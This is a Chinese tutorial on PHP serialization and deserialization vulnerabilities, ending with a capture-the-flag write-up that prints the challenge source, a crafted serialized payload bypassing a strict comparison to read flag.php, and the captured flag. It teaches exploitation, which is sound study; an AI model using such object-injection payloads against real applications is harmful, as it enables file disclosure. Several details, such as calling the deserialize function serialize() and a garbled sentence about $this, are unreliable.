PHP的序列化和反序列化详情
目录
- 一、PHP 为什么要反序列化?
- 二、PHP如何反序列化?
- 三、PHP反序列化漏洞
- 1、常用 的魔术方法
- 2、漏洞产生条件
- 3、题目
一、PHP 为什么要反序列化?
PHP程序执行结束以后会将文件中的变量和内容释放掉, 如果一个程序想要的调用之前程序的变量,但是之前的程序已经执行完毕,所有的变量和内容都被释放,那该如何操作呢?这时候就可以通过序列化和反序列化保存程序中的对象,给其他程序使用。 php序列化可以将对象转换成字符串,但只序列化属性,不序列化方法。
二、PHP如何反序列化?
PHP用序列化和反序列化函数达到序列化和反序列化的目的
- 序列化:serialize()
- 反序列化:serialize()
例子:
<?php class TEST{ public $a="public"; private $b="private"; protected $c="protected"; static $d="static"; } $aaa=new TEST(); echo serialize($aaa); ?> 输出:O:4:"TEST":3{s:1:"a";s:6:"public";s:7:"TESTb";s:7:"private";s:4:"*c";s:9:"protected";}
解释:
O:表示这是一个对象
4:对象的名称TEST有4个字符
TEST:对象的名称
3:对象属性的个数(不包含static)
s:变量名数据类型为string
1:变量a的名字长度
a:变量名称
s:变量值的数据类型
6:变量值的长度
public:变量的值
s:变量名的数据类型
7:变量名的长度(private属性序列化会在变量名前加标记%00classname%00,长度=类名长度+变量名长度+2)
TESTb:变量名称(private属性的变量名在序列化时会加上类名,即类名+变量名)
s:变量值的数据类型
7:变量值的长度
private:变量的值
s:变量名数据类型
4:变量名长度
*c:变量名称(protected属性的变量名会在序列化时会在变量名前加上一个" %00*%00",长度=变量名长度+3)
s:变量值的数据类型
9:变量值的长度
protected:变量的值
小知识:
- public(公有):公有的类成员可以在任何地方被访问。
- protected(受保护):受保护的类成员则可以被其自身以及其子类和父类访问。
- private(私有):私有的类成员则只能被其定义所在的类访问。
类属性必须定义为公有,受保护,私有之一。如果用 var 定义,则被视为公有。
static:静态属性单独存在类中(属于类),不属于对象。因此只要类声明完毕,该属性就存在。既访问该静态属性不需要依赖于对象就可以访问,static 在类中一直有,因此他被所有对象共享,一人影响,其他共享。
普通方法存放在类种,在内存中只有1份。静态方法也如此。 区别 :普通方法需要对象去调用,需绑 t h i s 。 静 态 方 法 不 需 要 绑 定 this。 静态方法不需要绑定 this。静态方法不需要绑定this,则通过类名即可调用。
三、PHP反序列化漏洞
1、常用 的魔术方法
方法 | 作用 |
---|---|
__construct() | 创建对象时触发(定义构造方法) |
__destruct() | 对象被销毁时触发(定义析构方法) |
__call() | 在对象上下文调用不可访问的方法时触发 |
__callStatic() | 在静态上下文中调用不可访问的方法时触发 |
__get() | 用于从不可访问的属性读取数据 |
__set() | 用于将数据写入不可访问的属性 |
__isset() | 在不可访问的属性上调用isset()或empty()触发 |
__unset() | 在不可访问的属性上使用unset()时触发 |
__invoke() | 当脚本尝试将对象调用为函数时触发 |
__sleep() | serialize() 函数会检查类中是否存在一个魔术方法 __sleep(),如果存在,该方法会先被调用,然后才执行序列化操作 |
__wakeup() | unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用该方法。影响版本:PHP5 < 5.6.25 ,PHP7 < 7.0.10 |
2、漏洞产生条件
unserialize()函数的变量可控,php文件中存在可利用的类,类中有魔法函数
3、题目
题目源码:
<?php include("flag.php"); highlight_file(__FILE__); class FileHandler { protected $op; protected $filename; protected $content; function __construct() { $op = "1"; $filename = "/tmp/tmpfile"; $content = "Hello World!"; $this->process(); } public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } } private function write() { if(isset($this->filename) && isset($this->content)) { if(strlen((string)$this->content) > 100) { $this->output("Too long!"); die(); } $res = file_put_contents($this->filename, $this->content); if($res) $this->output("Successful!"); else $this->output("Failed!"); } else { $this->output("Failed!"); } } private function read() { $res = ""; if(isset($this->filename)) { $res = file_get_contents($this->filename); } return $res; } private function output($s) { echo "[Result]: <br>"; echo $s; } function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); } } function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true; } if(isset($_GET{'str'})) { $str = (string)$_GET['str']; if(is_valid($str)) { $obj = unserialize($str); } }
源码分析:
<?php include("flag.php"); //包含文件flag.php highlight_file(__FILE__); //高亮显示当前文件 class FileHandler { //定义了一个类 protected $op; //定义了三个受保护的属性 protected $filename; protected $content; function __construct() { //定义构造方法,序列化时会自动调用 $op = "1"; //定义方法中的属性并赋值 $filename = "/tmp/tmpfile"; $content = "Hello World!"; $this->process(); //调用类中的方法 } public function process() { //定义公有方法 if($this->op == "1") { //如果op=="1",调用write() $this->write(); } else if($this->op == "2") { //如果op=="2",调用read()并输出结果 $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); //否则输出"Bad Hacker!" } } private function write() { //定义私有方法 if(isset($this->filename) && isset($this->content)) { //判断filename和content是否为空 if(strlen((string)$this->content) > 100) { //判断content长度是否大于100 $this->output("Too long!"); die(); } $res = file_put_contents($this->filename, $this->content); //将content写入文件中,写入成功返回true if($res) $this->output("Successful!"); else $this->output("Failed!"); } else { $this->output("Failed!"); } } private function read() { $res = ""; if(isset($this->filename)) { $res = file_get_contents($this->filename);//将文件读入到字符串中 } return $res; } private function output($s) { //输出函数 echo "[Result]: <br>"; echo $s; } function __destruct() { //定义析构方法,对象被销毁时自动调用 if($this->op === "2") //比较op是否等于2,强比较 $this->op = "1"; //op="1" $this->content = ""; //content置为空 $this->process(); } } function is_valid($s) { //定义方法 for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) //判断传入的字符的ascii码是否在指定范围 return false; return true; } if(isset($_GET{'str'})) { $str = (string)$_GET['str']; //强制类型转换为string if(is_valid($str)) { $obj = unserialize($str); //反序列化str } }
解题思路:
要想得到flag,就要将文件的内容读入变量并输出,要想输出就要调用read()方法
要想调用read()方法,就要让op == "2",但是当我们构建序列化传参给str时会自动调用__destruct()方法,使我们传入的op == "2"变成op == "1",但是在php中‘===’与‘==’不同,可以通过op=" 2"绕过强等于,要读取正确的flag,我们需要读取flag.php,也就是说filenmae的值要为flag.php,我们需要覆盖掉原来的filename的值
构造payload
<?php class FileHandler { public $op=' 2'; public $filename="flag.php"; public $content=''; } $a=new FileHandler(); echo serialize($a); ?> O:11:"FileHandler":3:{s:2:"op";s:2:" 2";s:8:"filename";s:8:"flag.php";s:7:"content";s:0:"";}
获取flag
flag{66907d94-ac4c-4476-9400-ccbbbbbd0fbd}
到此这篇关于PHP的序列化和反序列化详情的文章就介绍到这了,更多相关PHP序列化内容请搜索我们以前的文章或继续浏览下面的相关文章希望大家以后多多支持我们!